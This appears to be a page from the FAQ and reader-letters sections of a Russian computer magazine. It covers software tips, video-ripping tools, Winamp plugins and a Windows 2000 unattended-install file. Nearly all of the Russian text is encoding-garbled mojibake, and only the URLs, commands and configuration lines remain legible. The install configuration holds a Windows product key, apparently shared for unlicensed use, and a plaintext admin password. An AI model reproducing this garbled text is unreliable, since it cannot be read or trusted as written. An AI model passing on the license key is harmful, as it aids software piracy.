- ñòàíäàðò, êàê è ìíîãèå äðóãèå ïðîäóêòû Adobe. ß íå äèçàéíåð, ïîýòîìó î âîçìîæíîñòÿõ òîãî è äðóãîãî<br />

ïàêåòà ìíå ñóäèòü ñëîæíî, íî çíàêîìûå äèçàéíåðû (åâðîïåéñêîãî óðîâíÿ) ñ ïîëíîé óâåðåííîñòüþ<br />

ãîâîðÿò, ÷òî Illustrator - ïàêåò ìîùíåå è â öåëîì ïðîôåññèîíàëüíåå. Áîëüíîé âîïðîñ ïîëèãðàôèè<br />

- òî÷íîñòü îòîáðàæåíèÿ öâåòîâ íà ýêðàíå è â ïå÷àòè. Åñëè â Èëëþñòðàòîðå òàêîé ïðîáëåìû íåò, òî â<br />

Êîðåëå ïîïðîáóé íàéäè íóæíûå öâåòîãðàììû. Òàê ÷òî âûâîä íàïðàøèâàåòñÿ ñàì: Èëëþñòðàòîð - äëÿ<br />

ïðîôåññèîíàëüíîé è âûñîêîêà÷åñòâåííîé ïîëèãðàôèè, Corel - äëÿ âñåãî îñòàëüíîãî.<br />

âîïðîñ.......................<br />

...............................<br />

...............................<br />

îòâåò.........................<br />

Ïîäñêàæè, ãäå íàéòè èíôó ïî âèäåîçàõâàòó, îöèôðîâêå, DivX'ó, Mpeg'ó,<br />

VirtualDub'ó è åãî ïëàãèíàõ. Òî, ÷òî ÿ óæå íàøåë, ìåíÿ íå ñîâñåì óñòðàèâàåò.<br />

A: http://www.ixbt.com/digimage/. Çäåñü ëåæèò íåñêîëüêî î÷åíü õîðîøèõ FAQ'îâ ïî ñîçäàíèþ è ðåäàêòèðîâàíèÿ âèäåî.<br />

http://www.doom9.org. Õîòü è àíãëèéñêèé, íî îòëè÷íûé ñàéò. Áóêâàëüíî âñå îá MPEG, DivX, DVD rip'å. Ïîäðîáíî è ñ èëëþñòðàöèÿìè (êàê ðàç òî, ÷òî íàäî? =)).<br />

http://www.vcdhelp.com/. Èíôîðìàöèÿ î VCD.<br />

http://www.dvddemystified.com/dvdfaq.html. Îòëè÷íûé FAQ ïî DVD.<br />

http://www.afanas.ru/video/index.htm. Âåñüìà èíòåðåñíûé ðåñóðñ î DVD.<br />

http://www.jeetkunedo.by.ru/ - Î÷åíü ïîëåçíûé ñàéò äëÿ íîâè÷êà.<br />

http://shelob.mordor.net/dgraft/, http://<strong>fl</strong>axen.dynip.com/vdf/,<br />

http://nickyguides.digital-digest.com/vdub-filters2.htm, http://republika.pl/vander74/virtualdub/index.html, http://home.bip.net/gunnart/video/ ïëàãèíû äëÿ VirtualDub'à è èõ îïèñàíèÿ.<br />

Íóæíî îòêðûòü ôàéë ôîðìàòà DCR. Äóìàþ,<br />

÷òî ýòî ãðàôè÷åñêîå èçîáðàæåíèå. Íî íè<br />

Photoshop, íè PaintBrush åãî íå îòêðûëè… :(<br />

âîïðîñ.......................<br />

...............................<br />

...............................<br />

îòâåò.........................<br />

A: Ôàéëû ôîðìàòà DCR îòêðûâàþòñÿ ïðîãðàììîé Macromedia Director (www.macromedia.com), áîëåå<br />

òîãî, åñëè óñòàíîâëåí Shockwave ïëàãèí, òî èçîáðàæåíèÿ ìîæíî ïðîñìàòðèâàòü è ÷åðåç îáû÷íûé<br />

Internet Explorer.<br />

À êàêèå ïëàãèíû äëÿ Winamp'à<br />

áûâàþò? Åñòü ëè ÷òî-íèáóäü<br />

ñòîÿùåå?<br />

âîïðîñ.......................<br />

...............................<br />

îòâåò.........................<br />

A: Îïèøó òîëüêî òå, êîòîðûå áûëè â ìîåì ïîëüçîâàíèè:<br />

MilkDrop (http://www.nullsoft.com/free/milkdrop/), G-Force<br />

(http://www.audiogalaxy.com/bands/omeara/), Winamp<br />

Visualization Plug-in Smoke<br />

(http://www.nullsoft.com/free/smoke/). Ñèìïàòè÷íûå ïëàãèíû<br />

äëÿ ñîçäàíèÿ âèçóàëèçàöèé.<br />

Streamripper (http://streamripper.sourceforge.net). Ïëàãèí,<br />

ïîçâîëÿþùèé ñîõðàíÿòü ïîòîêîâûå mp3-ôàéëû íà âèíò. Îòëè÷íûé<br />

èíñòðóìåíò äëÿ ñîõðàíåíèÿ ðàäèîòðàíñëÿöèé.<br />

HitList Winamp plug-in (http://inf.susu.ac.ru/~neumer/HitList/).<br />

Ìîäíàÿ ôåíüêà. Ñîçäàåò ñïèñîê íàèáîëåå ÷àñòî ïðîñëóøèâàåìûõ<br />

ìóçûêàëüíûõ êîìïîçèöèé è âûêëàäûâàåò âñå íà HTML.<br />

AMIP (http://amip.tools-for.net/). Åñëè òû õî÷åøü ïðèñîåäèíèòüñÿ<br />

ê òîëïå áàëáåñîâ, çàñîðÿþùèõ IRC êàíàëû ìåññàãàìè<br />

îá èãðàþùåé ó íèõ ìóçûêå, òî ýòîò ïëàãèí äëÿ òåáÿ.<br />

Now Playing (http://anton-sheyko.chat.ru/gen_np.zip). Àíàëîã<br />

ïðåäûäóùåãî, òîëüêî äëÿ e-mail êëèåíòîâ.<br />

SqrSoft Advanced Crossfading (http://ftp.winamp.com/customize/component/2000/10/29/P/SqrSoft_Advanced_Crossfading<br />

_Output.exe). Îòëè÷íàÿ øòóêà, íàêëàäûâàþùàÿ êîíåö èãðàþùåé<br />

êîìïîçèöèè íà íà÷àëî ñëåäóþùåé.  ðåçóëüòàòå ðàáîòû<br />

ïîëó÷àåòñÿ êà÷åñòâåííûé ìèêñ, áåç âñÿêèõ ïàóç è ò.ï. ß åãî<br />

èñïîëüçîâàë äëÿ ïðîâåäåíèÿ äèñêîòåêè - ýôôåêò ïðåâçîøåë<br />

âñå îæèäàíèÿ. Ñîâåòóþ.<br />

Vocal Remover (http://www.analogx.com/files/vremamp.exe). Äîïîëíÿëêà,<br />

ñïîñîáíàÿ âûðåçàòü âîêàëüíóþ ñîñòàâëÿþùóþ ìóçûêàëüíîé<br />

êîìïîçèöèè. Ïðèçíàþñü, ðàáîòàåò êîððåêòíî äàëåêî<br />

íå âñåãäà, íî òåì íå ìåíåå...<br />

Ñàìûå òóïûå ïèñüìà â FAQ:<br />

1) Ñëûøàë, ÷òî ÷åðåç ëîêàëüíóþ ñåòü ìîæíî ïîäêëþ÷èòüñÿ<br />

ê èíòåðíåòó çà 5 äîëëàðîâ â ìåñÿö, ïðàâäà ëè ýòî?<br />

2) Íèêàê íå ìîãó íàó÷èòüñÿ êîäèòü... ×òî äåëàòü?<br />

3) Ñ ìîèì ìèðêîì êàêàÿ-òî ôèãíÿ: îí ïåðåñòàë<br />

ïîäñîåäèíÿòüñÿ ê ñåðâåðàì. Ëþáûì! ×òî äåëàòü?<br />

4) Êàê ñìåíèòü ïàðîëü íà èíòåðíåò?


100<br />

Þíèòû<br />

FAQ<br />

Stepan Ilyin aka Step (faq@real.xakep.ru)<br />

Åñòü êîìïüþòåðíûé êëàññ:<br />

êîìïüþòåðû ðàñïîëàãàþòñÿ â 3<br />

ðÿäà ïî äåñÿòü ìàøèí, â óãëó<br />

ñòîèò ñòîë àäìèíà. Óæå íåñêîëüêî<br />

ðàç ñëó÷àëèñü èíöèäåíòû:<br />

ïðîïàäàëè òî êëàâèàòóðà, òî<br />

ìûøêà (øàðèêè îò íèõ êàæäûé<br />

äåíü èñ÷åçàþò), òî âîîáùå è òî,<br />

è äðóãîå. Êëàññ ðàáîòàåò 10<br />

÷àñîâ â äåíü, óñëåäèòü çà âñåìè<br />

ïðîñòî íåâîçìîæíî. Êàê ìîæíî<br />

îáåçîïàñèòü îáîðóäîâàíèå îò<br />

äåòåé-âàíäàëîâ?<br />

âîïðîñ.......................<br />

...............................<br />

îòâåò.........................<br />

A: ×åñòíî ãîâîðÿ, íèêîãäà íå ñòàëêèâàëñÿ ñ òàêîé ñèòóàöèåé, íî ìîãó<br />

ïîñîâåòîâàòü:<br />

1) Ïñèõîëîãè÷åñêîå âîçäåéñòâèå íà ëþäåé - î÷åíü ìîùíàÿ øòóêà. Ïîâåñü<br />

áðîñàþùóþñÿ â ãëàçà òàáëè÷êó "Êàáèíåò íàõîäèòñÿ ïîä ïîñòîÿííûì<br />

âèäåîíàáëþäåíèåì" è áóäü óâåðåí: êðàæ áîëüøå íå áóäåò. Äëÿ ïîëíîòû<br />

êàðòèíû ìîæíî ïîâåñèòü ìóëÿæ âèäåîêàìåðû ;).<br />

2) Åñëè ÷òî-òî ïðîïàäàåò, òî ðàçóìíî ñäåëàòü òàê, ÷òîáû óíåñòè ýòî áûëî<br />

áîëüøîé ïðîáëåìîé. Íàïðèìåð, ïðèêðåïèòü ïðîâîäà îò ìûøêè è êëàâèàòóðû<br />

ñòÿæêàìè äëÿ êðåïëåíèÿ ïðîâîäîâ ê ñòåíêàì.<br />

3) ×òî æå êàñàåòñÿ øàðèêîâ îò ìûøåê, òî ìîãó ëèøü ïîñî÷óâñòâîâàòü è<br />

ïðåäëîæèòü ðàçîðèòüñÿ íà îïòè÷åñêèå ìûøêè. Õîòÿ ñ äðóãîé ñòîðîíû... ìîæåò<br />

êòî-íèáóäü ðåøèò îòêîâûðÿòü îïòè÷åñêèå ñåíñîðû? :)<br />

Êàê ñêîïèðîâàòü äåðåâî<br />

êàòàëîãîâ, âîïðîñ....................... íå êîïèðóÿ ôàéëîâ?<br />

îòâåò.........................<br />

A: "xcopy Ñ:\*.* . /t /e"(áåç êàâû÷åê).<br />

Åñòü ÀÍÈÌÈÐÎÂÀÍÍÛÉ gif-ôàéë.<br />

Íà êàðòèíêå ñåðûé ôîí, íóæíî<br />

ñäåëàòü åãî ïðîçðà÷íûì. Êàê? (Êàê<br />

ñäåëàòü ïðîçðà÷íûé ôîí ó<br />

íåàíèìèðîâàííîãî gif'à, ÿ çíàþ).<br />

âîïðîñ.......................<br />

...............................<br />

îòâåò.........................<br />

A: Âîçìîæíî, åñòü áîëåå ðàöèîíàëüíûé ñïîñîá, íî è ýòîò íå òàê ïëîõ:<br />

1. Îòêðûòü ôàéë â Adobe ImageReady, ÷òîáû ýêñïîðòèðîâàòü gif-ôàéë ñî âñåìè ôðåéìàìè<br />

â ôîðìàò Adobe Photoshop'à (*.psd).<br />

2. Ïîëó÷åííûé ôàéë ïðåäñòàâëÿåò ñîáîé èçîáðàæåíèå ñ êîëè÷åñòâîì ñëîåâ, ðàâíûì<br />

êîëè÷åñòâó ôðåéìîâ.<br />

3. Âñå, ÷òî íåîáõîäèìî ñäåëàòü - âûðåçàòü âî âñåõ êàäðàõ ôîí. Ïî òâîèì ñëîâàì, îí<br />

îäèíàêîâûé (ñåðûé), ïîýòîìó ìîæíî íå ïàðèòüñÿ ñ êàæäûì êàäðîì, à ñäåëàòü âñå äëÿ<br />

îäíîãî, à ïîòîì ïîâòîðèòü äëÿ âñåõ îñòàëüíûõ. Äëÿ ýòîãî âêëþ÷àåì îòîáðàæåíèå îäíîãî<br />

èç ñëîåâ. Àêòèâèðóåì çàïèñü äåéñòâèé (îêíî actions), äàëåå Select -> Color<br />

Range, êëèêàåì íà ôîí è âûðåçàåì âûäåëåííîå. Îñòàëîñü ñíÿòü âûäåëåíèå (CTRL-D)<br />

è îñòàíîâèòü çàïèñü äåéñòâèé. Âñå. Òåïåðü ó òåáÿ åñòü çàïèñü äåéñòâèé, òàê ÷òî ìîæåøü<br />

çà ñ÷èòàííûå ñåêóíäû ïðîâåðíóòü òî æå ñàìîå ñî âñåìè äðóãèìè ñëîÿìè (â îêíå<br />

action - êíîïêà play).<br />

4.  èòîãå â òâîåì ðàñïîðÿæåíèè âñå íåîáõîäèìûå êàäðû ñ ïðîçðà÷íûì ôîíîì, îñòàëîñü<br />

ëèøü âîññîåäèíèòü èõ. Ïîäîéäåò ëþáîé gif-àíèìàòîð, òîò æå ImageReady.<br />

Î÷åíü ÷àñòî çàíèìàþñü<br />

óñòàíîâêîé Windows íà íîâûå<br />

êîìïüþòåðû. Ê ñîæàëåíèþ,<br />

êîíôèãóðàöèè ÷àñòåíüêî ðàçíûå,<br />

ïîýòîìó çàëèâàòü çàãîòîâëåííûå<br />

îáðàçû ÿ íå ìîãó, ïðèõîäèòñÿ âñå<br />

ñòàâèòü ðó÷êàìè. Åñëè äëÿ<br />

Windows 98 ÿ íàïèñàë ôàéëèê, è<br />

âñå ïðîõîäèò àâòîìàòè÷åñêè, òî<br />

ñ Win2000 òàê íå ïîëó÷àåòñÿ.<br />

Âðîäå áû âñå ñäåëàë, à âñå ðàâíî<br />

óñòàíîâùèê ïðîñèò ïîäòâåðäèòü<br />

ëèöåíçèîííîå ñîãëàøåíèå è<br />

ââåñòè êëþ÷ :(. Ïîäñêàæè, ãäå<br />

êîïàòü.<br />

âîïðîñ.......................<br />

...............................<br />

îòâåò.........................<br />

A: Äàííàÿ êîíôèãóðàöèÿ unatted.txt îòëè÷íî ðàáîòàåò, ïðîáëåìíûå<br />

ìîìåíòû ÿ îòìåòèë.<br />

[Unattended]<br />

UnattendMode=FullUnattended<br />

>OemSkipEula=Yes<br />

OemPreinstall=Yes<br />

OemPnPDriversPath="drivers\IntelINF"<br />

TargetPath=\WINNT<br />

FileSystem=ConvertNTFS<br />

ComputerType="Advanced Configuration And Power Interface (ACPI) PC"<br />

[GuiUnattended]<br />

AdminPassword=nafiga<br />

AutoLogon=Yes<br />

AutoLogonCount=1<br />

OEMSkipRegional=1<br />

TimeZone=125<br />

OemSkipWelcome=1<br />

[UserData]<br />

FullName="Stepan Ilyin"<br />

OrgName=Steps<br />

ComputerName=Steps-comp<br />

>ProductID=QP8X3-HFQPH-7R6X7-MJXYB-FDGQG<br />

Ó ìåíÿ åñòü DVD-ðèï îäíîãî<br />

ôèëüìà, ê ñîæàëåíèþ, íà àíãëèéñêîì<br />

ÿçûêå. Íî ÿ íàøåë åãî ïåðåâîä (mp3ôàéë).<br />

Îòñþäà âîïðîñ: êàê ìîæíî åãî<br />

ïðèñîåäèíèòü ê ôèëüìó ñ<br />

ÌÈÍÈÌÓÌÎÌ èçâðàòîâ?<br />

âîïðîñ.......................<br />

...............................<br />

îòâåò.........................<br />

A: NanDub (ftp://files.3dnews.ru/pub/dvd/nandub-binary-1.0rc2.rar) - îòëè÷íûé ñïîñîá<br />

ñ ìèíèìóìîì óñèëèé ïðèñîåäèíèòü ê ôèëüìó mp3, wav è ò.ï. Ñäåëàíà óòèëèòà íàñòîëüêî<br />

äîáðîòíî è ïîíÿòíî äëÿ þçåðà, ÷òî è îáúÿñíÿòü-òî ÷òî-ëèáî åùå íå õî÷åòñÿ…<br />

Ïðèõîäèë íåäàâíî îáðàòíûé âîïðîñ: "Êàê âûðåçàòü çâóê èç ôèëüìà?". Ýòî ëåãêî<br />

ðåàëèçóåìî ïðè ïîìîùè óæå íå ðàç óïîìèíàâøåãîñÿ VirtualDub'à (http://www.virtualdub.org/).<br />

Ìåíþ File -> Save WAV...<br />

Ïðàâäà ëè, ÷òî ïîä<br />

Linux'îì ìîæíî ïîèãðàòü<br />

â directx èãðû?<br />

âîïðîñ.......................<br />

...............................<br />

îòâåò.........................<br />

A: Äà, ñ ïîìîùüþ DirectX áèáëèîòåê WineX äëÿ WINE.<br />

Ðàññêàçàòü îáî âñåõ íþàíñàõ íàñòðîéêè êàê ïðîãðàììû,<br />

òàê è ñèñòåìû â FAQ'å íå ïðåäñòàâëÿåòñÿ âîçìîæíûì,<br />

ïîýòîìó ñîâåòóþ òåáå âçãëÿíóòü íà î÷åíü ïîäðîáíóþ<br />

ñòàòüþ, êîòîðàÿ ïðåäñòàâëåíà íà íàøåì ñàéòå<br />

(http://www.xakep.ru/post/17532/default.htm).


102<br />

Þíèòû<br />

e-MAIL<br />

Íàøå å-ìûëî: magazine@real.xakep.ru<br />

From: Weise [dio_x_ide@mail.ru]<br />

Subject: Çäîðîâàÿ êðèòèêà... Êîòîðàÿ åùå íèêîìó íå ìåøàëà.<br />

Äðóçüÿ!!! ß óæå ìîãó íàçâàòü ñåáÿ ïîñòîÿííûì ÷èòàòåëåì Õ. Âàø ïåðâûé æóðíàë ÿ<br />

ïðèîáðåë åùå â ñåíòÿáðå 2000 ãîäà, è ñ òåõ ïîð ÿâëÿþñü åãî ïîñòîÿííûì ÷èòàòåëåì.<br />

Îäíàêî, ðóáðèêó å-mail ïî÷åìó-òî ïðî÷åë òîëüêî â ïîñëåäíåì íîìåðå. Äåéñòâèòåëüíî<br />

ñòðàííî. Ýòî ìîå óïóùåíèå, ÿ åãî ïîëíîñòüþ ïðèçíàþ è ñîáèðàþñü èñïðàâèòü. Òåì íå<br />

ìåíåå, ïðîäîëæó...<br />

Öåëü ìîåãî ïîñëàíèÿ çàêëþ÷àåòñÿ íå â òîì, ÷òîáû âîñõâàëÿòü è ãîâîðèòü, êàêèå âû âñå<br />

ìîëîäöû (õîòÿ ýòî è òàê). Íåò! Ðåøèòåëüíîå íåò. È ïîýòîìó, íà ïðàâàõ âàøåãî ïîñòîÿííîãî<br />

÷èòàòåëÿ ñ íåìàëûì ñòàæåì, ïîçâîëþ ñåáå íåìíîãî êðèòèêè. Èòàê, ïîêîí÷èâ ñ<br />

ïðåëþäèåé, ïðèñòóïèì...<br />

1. Ñàìîå ñòðàøíîå, íà ìîé âçãëÿä, â âàøåì æóðíàëå, ýòî îòñóòñòâèå äóõîâíîñòè. Äà,<br />

äà, âû íå îñëûøàëèñü. ß ÄÀËÅÊÎ íå ñâÿòîé. Íî ìíå äóìàåòñÿ, ýòî ãëàâíîå. Íåò âî<br />

âñåì åäèíîãî âåêòîðà, ê êîòîðîìó ìîæíî áûëî áû ñòðåìèòüñÿ. Íåò öåëè. Âû ñêàæåòå<br />

- ñòðåìëåíèå ê çíàíèÿì?! Âîò öåëü! Â êàêîé-òî ìåðå äà, âîò òîëüêî áåç ñîçèäàòåëüíîãî<br />

ïðèìåíåíèÿ îíà òåðÿåò ñâîé ñìûñë. Âîîáùå, ÿ äóìàþ, ÷òî çíàíèÿ äîëæíû â ÊÎ-<br />

ÍÅ×ÍÎÌ ïëàíå ïðèìåíÿòüñÿ òîëüêî äëÿ ñîçèäàíèÿ. Âåäü ëîìàòü íå ñòðîèòü, ëîìàòü -<br />

ëåã÷å. À âîò ñîçäàòü ÷òî-òî ïîèñòèíå óíèêàëüíîå, íåïîõîæåå íè íà ÷òî äðóãîå... Âîò<br />

öåëü!  ïðîòèâíîì ñëó÷àå ìû îñòàíåìñÿ ìÿñî-ìàøèíàìè, êîòîðûå áåç óñòàëè ïîòðåáëÿþò<br />

èíôîðìàöèþ, â ëó÷øåì ñëó÷àå, ïðîñòî íå çíàÿ êóäà åå ïðèìåíèòü... Ïðîäîëæàåì<br />

ðàçãîâîð.<br />

2. À òåïåðü ãëàâíîå. Ïðîøó âñåõ. Çàäóìàéòåñü, ÷åãî âû õîòèòå â èòîãå?! Õàêíóòü âåñü<br />

ìèð? Äà, ýòî êðóòî. Èëè ëîìàíóòü êàêîé-íèáóäü Íàöèîíàëüíûé Áàíê? Ýòî åùå êðó÷å.<br />

Âîò òîëüêî äåíåæêè íà òîò ñâåò íå çàáåðåøü. Çàäóìàéòåñü î äóøå (äóìàòü î äóøå íèêîãäà<br />

íå ðàíî). À ÷òî òàêîå äóøà? ×ÅËÎÂÅÊ Â ÄÐÓÃÈÕ ËÞÄßÕ È ÅÑÒÜ ÄÓØÀ ×ÅËÎÂÅ-<br />

ÊÀ... À äëÿ òàíêèñòîâ ïîÿñíÿþ, âû áóäåòå áåññìåðòíû, åñëè áóäåòå ñîçèäàòü! ÂÀÑ ÁÓ-<br />

ÄÓÒ ÏÎÌÍÈÒÜ... Ñêàæèòå, êòî ñåé÷àñ ïîìíèò èìÿ êàêîãî-íèáóäü çëîäåÿ, òîëüêî íàñòîÿùåãî,<br />

âåêà ýäàê 16 - 17?! À êòî ïîìíèò ñòàðèêà Ëåîíàðäî, Ðàôàýëÿ, Ìèêåëàíäæåëî,<br />

ýòîò ñïèñîê ìîæíî ïðîäîëæàòü äî áåñêîíå÷íîñòè.<br />

Óëîâèëè, íàêîíåö, ìûñëü??? Åñëè äà, òî ÿ ñ÷àñòëèâ! Ïîíèìàþ, âû íå áîãàäåëüíÿ, íî<br />

âåäü ýòîãî è íå òðåáóåòñÿ, ñîâñåì íåò. Âû âåëèêèé è óæàñíûé - ÕÀÊÅÐ. Òàê â ýòîì-òî<br />

è "ñîëü", âåäü âàñ ÷èòàþò ëó÷øèå óìû íàøåé Ðîññèéñêîé ñîâðåìåííîñòè. È îò âàñ çàâèñèò,<br />

ñòàíóò ëè îíè íîâûìè Ðàôàýëÿìè êèáåðïðîñòðàíñòâà, èëè Àäîëüôàìè Ãèòëåðàìè!!!<br />

Íó äà ëàäíî. Ñîâñåì ìåíÿ ïîíåñëî. Äà è, ïîæàëóé, ïîñëå ñèõ âûñêàçûâàíèé ìîå ïèñüìî<br />

òî÷íî íå íàïå÷àòàþò. À õîòåëîñü áû! Íó, ÷òî æå, õîòÿ áû ïðîñòî ïðî÷òèòå åãî. Ïðî-<br />

÷òèòå...<br />

Ñ óâàæåíèåì, Weise.<br />

N.B. À âîîáùå, âàø æóðíàë ñàìûé ëó÷øèé. Ìîæåò òåïåðü íàïå÷àòàþò :)<br />

Ñåðäå÷íî ïîçäðàâëÿåì òîâàðèùà Ìóäðîãî ñ ïðèñâîåíèåì ïî÷åòíîãî çâàíèÿ<br />

ïîñòîÿííîãî ÷èòàòåëÿ è ñîçèäàòåëÿ-ïðîïîâåäíèêà. Ìåäàëåé íà âñåõ<br />

íå íàïàñåøüñÿ, ïîýòîìó â êà÷åñòâå ïàìÿòíîãî ïîäàðêà ïå÷àòàåì åãî ïîñëàíèå,<br />

èñïîëíåííîå çäîðîâîé êðèòèêè è ñòðåìëåíèÿ ê âñåîáùåé ëþáâè è<br />

ìèðó âî âñåì õàêíóòîì ìèðå. Ìû òóò ïîñîâåùàëèñü è ðåøèëè âñåé ðåäàêöèåé<br />

ðâàíóòü â äåðåâíþ Õó Éâàì, ê òèáåòñêèì ìîíàõàì, ïîñòèãàòü çàêîíû<br />

ìèðîçäàíèÿ è çàîäíî áåñïëàòíî ïðîéòè êóðñ äèçàéíà èíòåðüåðà a la china<br />

ñ ìîäíûì íàçâàíèåì "Ôýí-Øóé". Ïîñåìó îáúÿâëÿåòñÿ ñðî÷íûé íàáîð<br />

ïðîäâèíóòûõ ïåðöåâ - ïðîïîâåäíèêîâ äóõîâíîñòè â êèáåðïðîñòðàíñòâå -<br />

äëÿ ïîäíÿòèÿ äóõà ÷èòàòåëåé â íàøå îòñóòñòâèå.<br />

À åñëè ñåðüåçíî, ïðèÿòíî, ÷òî â ýòè äðåìó÷èå âðåìåíà åñòü åùå ëþäè (òåì<br />

áîëåå, ìîëîäûå), êîòîðûõ âîëíóåò âå÷íûé ôèëîñîôñêèé âîïðîñ ñìûñëà<br />

æèçíè, äà è ïðîñòî ëþäè, êîòîðûì íå ïëåâàòü ñ âûñîêîé êîëîêîëüíè íà òî,<br />

÷òî òâîðèòñÿ â ãîëîâàõ îêðóæàþùèõ. Íå áóäó íà÷èíàòü ñâîþ ïðîïîâåäü - ñêàæó<br />

ëèøü, ÷òî íàì òîæå äàëåêî íå âñå ðàâíî, ÷òî òâîðèòñÿ âîêðóã: ïî÷èòàé Èíòðî<br />

â ëþáîì íîìåðå X, è ñàì â ýòîì óáåäèøüñÿ.<br />

ÍÀ ÏÈÑÜÌÀ ÎÒÂÅ×ÀË AVALANCHE (AVALANCHE@REAL.XAKER.RU)<br />

From: T.J. [t.j.e_mail@rambler.ru]<br />

Subject: no subject hehehe...<br />

Äàðîâà ][/-\| î÷åíü óäîáíî. Èç Total'à óäîáíî îïèñàíèÿ ïðàâèòü/äîáàâëÿòü.<br />

Ñòàíîâèìñÿ íà íóæíûé ôàéë, äëÿ êîòîðîãî ïèøåì, è æìåì ctrl-z.<br />

Âñå-òàêè èíîãäà íåïîíÿòíî, ÷òî òàì ëåæèò ïîä èìåíåì, ñêàæåì, ffde3.zip... Îáîëî÷êà-îáîëî÷êîé<br />

- ñòèëüíî, íà ïÿòü ñëåïëåíà, íî íå òî - õî÷åòñÿ ðóêàìè-òî ïîùóïàòü...<br />

ñïàñèáî<br />

--<br />

Ñ íàèëó÷øèìè ïîæåëàíèÿìè...<br />

ÎÀÎ "Ñòàâðîïîëüñêèé Ïèâîâàðåííûé Çàâîä"<br />

Ïèñüìî èç ðàÿ! "Ïèâîâàð Èâàí Òàðàíîâ ëþáèò ïèâî ïèò", âîäêó æðàò è â X<br />

ïèñàò :). Ñ discript.ion'îì - èäåÿ õîðîøàÿ. Ñêàæó áîëüøå, â íåäàëåêîì áóäóùåì<br />

âñÿ îáîëî÷êà íàøåãî CD îáåùàåò íåñëàáî ïðîàïãðåéäèòüñÿ, òàê ÷òî<br />

íå òîëüêî ðàáîòíèêè "ïèâîâàðèòåëüíîé" îòðàñëè, íî è ïðîñòûå ëþáèòåëè<br />

óïîòðåáëÿòü ýòîò âîëøåáíûé íàïèòîê ïî íàçíà÷åíèþ (êàê ãîâîðÿò óìíûå<br />

ëþäè, ïåé ïèâî ïåííîå - áóäåò ïîïà çäîðîâåííàÿ) â îáèäå íå îñòàíóòñÿ.<br />

Âû áû, ðåáÿòà, ýêçåìïëÿð÷èê ñâîåé ïðîäóêöèè, ÷òî ëè, àòòà÷åì ïðèñëàëè<br />

íà òåñòèðîâàíèå, à òî íèêàê ñ Òîòàëîì íå ðàçáåðåìñÿ :).<br />

From: 1k0d3r [1k0d3r@mail.ru]<br />

Subject: Ñ Äíåì Ðîæäåíüÿ }{!<br />

Äîðîãîé æóðíàë!<br />

Ñ äíåì ðîæäåíèÿ!!!<br />

Ðàñòè è êðåïíè, áóäü ñèëüíåå.<br />

Äà áóäåò lost ó ïèíãà - íîëü,<br />

×òîá âñåì ðåäàêòîðàì ïî Cray’ó,<br />

È ïèâî ÷òîá ëèëîñü ðåêîé!<br />

Òû ïðåïîäíîñèøü âäîõíîâåíüå<br />

È ïðîãðàììèñòàì, è art’àì,<br />

Íå ïðåêðàùàé îáîãàùåíüå<br />

Ìîçãîâ ðîññèéñêèì õàêåðàì.<br />

Ïîêà êîííåêòîì ìû ãîðèì,<br />

Ïîêà âèíòû äëÿ õàêà æèâû,<br />

Î, Õ! Ðåäàêòîðàì òâîèì<br />

Ïîìåíüøå bad, ïîáîëüøå ïèâà.<br />

Íå ïðåêðàòèì ñòðî÷èòü ñòàòüè.<br />

Òû - âå÷íûé äâèãàòåëü âñåé Îò÷èçíû!<br />

Äëÿ òåõ, êòî êîìïû ïîëþáèë<br />

Íåò ëó÷øå ìàíóàëà â æèçíè...<br />

Ïîêà!<br />

Âîò è 1k0d3r íàì õîðîøåãî æåëàåò. Âèäíî, ñ ïðîäóêöèåé<br />

ïèâçàâîäîâ çíàêîì íå ïîíàñëûøêå.


From: Êèáîðã Ïîòðîøèòåëü [black31337@rambler.ru]<br />

Subject: Âàøà ÊÀÐÀ!!!!!!( õà-õà-õà)<br />

Âîáùåì íåáóäó äîëãî ðàñïèíàòüñÿ êàê ìíå íðàâèòüñÿ âàø æóðíàë à ñðàçó ïåðåéäó<br />

ê äåëó ò.å. ê îáâèíåíèþ!!! Êàê òîëüêî ÿ ïðî÷èòàë îò êîðêè äî êîðêè âàø æóíàë ìîÿ<br />

íå îêðåïíóâøàÿ äåòñêàÿ ïñèõèêà ðóõíóëà!!!Âñå èíòåðåñû ïðèñóùèå ìíå äî ýòîãî èñïàðèëèñü!!!<br />

È ìåíÿ çàèíòåðåñîâàëî âñå ÷òî ñâÿçàíî ñ êîìïüþòåðîì è èíòåðíåòîì è<br />

ýòî íå øóòêà îáñàëþòíî âñå!!! Õàêåðñòâî,êàðäèíã,WEB-äèçàéí,warez,ïðîãðàìèðîâàíèå,îâåðëîêèíã........<br />

ìîæíî ïåðå÷åñëÿòü äî áåñêîíå÷íîñòè!!!! È ýòî ïðèâåëî ê àáñîëþòíîé<br />

ïåðåãðóçêå ìîåãî ìîçãîâîãî êàìíÿ. È òåïåðü âû âèíîâíèêè äîëæíû ñêàçàòü<br />

ñ ÷åãî ìíå ñòîèò íà÷àòü è÷åì çàêîí÷èòü.<br />

P.S. Îãëàñèòå ïîëíûé ñïèñîê!(è ïî ïîðÿäêó)<br />

ß òóò â÷åðà ÿùèê ñìîòðåë: êðîìå ïàóòèíû, íà ýêðàíå íè÷åãî íîâîãî -<br />

÷óøü ïîêàçûâàþò îòáîðíóþ. Ïîñëå ïðîñìîòðà â òðèäöàòûé ðàç çà äâà<br />

÷àñà ïåðåäà÷è "Âñòàíü çâåçäîé" è ïðî÷òåíèÿ ïîñëàíèÿ íåêîåãî êèáîðãà-ïîòðîøèòåëÿ<br />

â îïóõøåé ãîëîâå íåâîëüíî ñòàëè ðîæäàòüñÿ èäåè çàìóòèòü<br />

êîíêóðñ "Ïîñëåäíèé àäìèí". Èäåÿ ïðîñòà. Íåñêîëüêî àäìèíîâàáîðèãåíîâ<br />

ïîìåùàþòñÿ â êîìïüþòåðíûé êëóá íà íåîáèòàåìîì îñòðîâå,<br />

â êîòîðûé çàïóñêàåòñÿ òîëïà ðîáîòîâ-ïîòðîøèòåëåé òèïà êèáîðã.<br />

Ñ÷àñòëèâ÷èê-àäìèí, ñóìåâøèé îáúÿñíèòü çëîìó þçâåðþ "ñ ÷åãî íà-<br />

÷àòü è ÷åì çàêîí÷èòü" è íå äîïóñòèâøèé ïåðåçàãðóçêè åãî ìîçãîâîãî<br />

êàìíÿ, ïîëó÷àåò ïðèç - áåñïëàòíîå ëå÷åíèå ðóõíóâøåé çà ãîäû òÿæåëîé<br />

ðàáîòû ïñèõèêè. Àäìèíàì - õîòü êàêîå-òî â æèçíè ðàçâëå÷åíüå, è<br />

çðèòåëè äîâîëüíû - ãäå åùå òàêîå óâèäèøü!<br />

